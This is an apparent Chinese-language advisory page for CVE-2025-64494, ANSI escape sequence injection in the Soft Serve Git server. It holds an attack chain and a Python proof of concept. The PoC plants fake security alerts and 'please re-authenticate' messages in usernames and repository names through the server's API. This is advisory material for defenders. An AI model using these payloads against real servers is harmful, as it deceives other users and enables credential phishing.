IPBUF安全漏洞报告
English
CVE-2025-64494 CVSS 4.6 中危

CVE-2025-64494: Soft Serve ANSI转义序列注入漏洞

披露日期: 2025-11-08

漏洞信息

漏洞编号
CVE-2025-64494
漏洞类型
ANSI转义序列注入
CVSS评分
4.6 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
charmbracelet/soft-serve

相关标签

ANSI注入终端欺骗Soft ServeGit服务器CVE-2025-64494中危漏洞输出验证不足

漏洞概述

Soft Serve是一个自托管的Git服务器,专为命令行设计。在0.10.0之前的版本中,存在多个安全漏洞,攻击者可以在用户输入的数据(如用户名、仓库名称等)中插入ANSI转义序列,而系统未能对这些转义序列进行过滤和清理。攻击者利用此漏洞可以在终端界面显示伪造的警告信息、提示框或其他虚假内容,诱导用户执行恶意操作或泄露敏感信息。此外,当打印Git提交信息时,系统也未对其进行适当的清理,可能导致类似的安全问题。该漏洞影响所有使用Soft Serve进行Git托管的服务,攻击者可通过网络远程利用此漏洞,需要低权限用户配合交互才能成功实施攻击。

技术细节

Soft Serve在处理用户输入时存在ANSI转义序列注入漏洞。ANSI转义序列是用于控制终端显示效果的特殊字符序列,常见的序列包括设置颜色、光标移动、清屏等。攻击者可以在用户名、仓库名称或其他用户可控的字段中插入恶意的ANSI转义序列,如\x1b[31m(红色文字)、\x1b[5m(闪烁效果)或\x1b[2J(清屏)等。当其他用户通过终端访问该服务器时,这些转义序列会被终端解释执行,从而显示伪造的警告信息(如\x1b[41;37m\x1b[1mWARNING: System compromised\x1b[0m)或进行其他视觉欺骗。攻击者还可以利用\x1b[6n等序列查询光标位置或\x1b[6n响应来探测终端信息。由于Git消息在打印时也未经过滤,攻击者可以在提交信息中嵌入恶意转义序列,进一步扩大攻击面。

攻击链分析

STEP 1
步骤1
攻击者获取Soft Serve服务器的普通用户账户(低权限即可)
STEP 2
步骤2
攻击者在用户名、仓库名称或描述中注入恶意ANSI转义序列,如伪造的警告信息、清屏命令等
STEP 3
步骤3
受害者通过终端访问服务器并查看攻击者创建的内容
STEP 4
步骤4
终端解释执行ANSI转义序列,显示伪造的警告信息或进行视觉欺骗
STEP 5
步骤5
受害者被诱导执行恶意操作(如输入凭证、点击链接等),导致信息泄露或进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# ANSI Escape Sequence Injection PoC for CVE-2025-64494 # Target: Soft Serve Git Server < 0.10.0 # Attack: Inject ANSI escape sequences via username to display fake alerts import requests import json TARGET_URL = "http://target-server:23231" ATTACKER_TOKEN = "your-low-privilege-token" # Malicious username with ANSI escape sequences # \x1b[2J - Clear screen # \x1b[1;1H - Move cursor to top-left # \x1b[41;37;1m - Red background, white text, bold # \x1b[0m - Reset formatting fake_alert = "\x1b[2J\x1b[1;1H\x1b[41;37;1mCRITICAL SECURITY ALERT\x1b[0m\n\x1b[33mYour session has expired. Please re-authenticate.\x1b[0m" payload = { "username": fake_alert, "email": "[email protected]" } headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Step 1: Update username with ANSI injection response = requests.patch( f"{TARGET_URL}/api/v1/account", headers=headers, json=payload ) if response.status_code == 200: print("[+] ANSI escape sequence injected successfully") print("[*] When other users view this username, they will see:") print(fake_alert) else: print(f"[-] Injection failed: {response.status_code}") print(response.text) # Alternative: Inject via repository name repo_payload = { "name": "\x1b[31m\x1b[5mFAKE WARNING\x1b[0m", "description": "\x1b[1mYour SSH key will be revoked in 24h\x1b[0m" } response = requests.post( f"{TARGET_URL}/api/v1/repos", headers=headers, json=repo_payload ) print(f"[*] Repository injection status: {response.status_code}")

影响范围

charmbracelet/soft-serve < 0.10.0

防御指南

临时缓解措施
如果无法立即升级,可通过配置终端模拟器禁用某些危险的ANSI转义序列,或在显示用户内容前添加过滤层。建议用户使用支持安全过滤的终端客户端,并警惕任何异常显示的警告信息。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表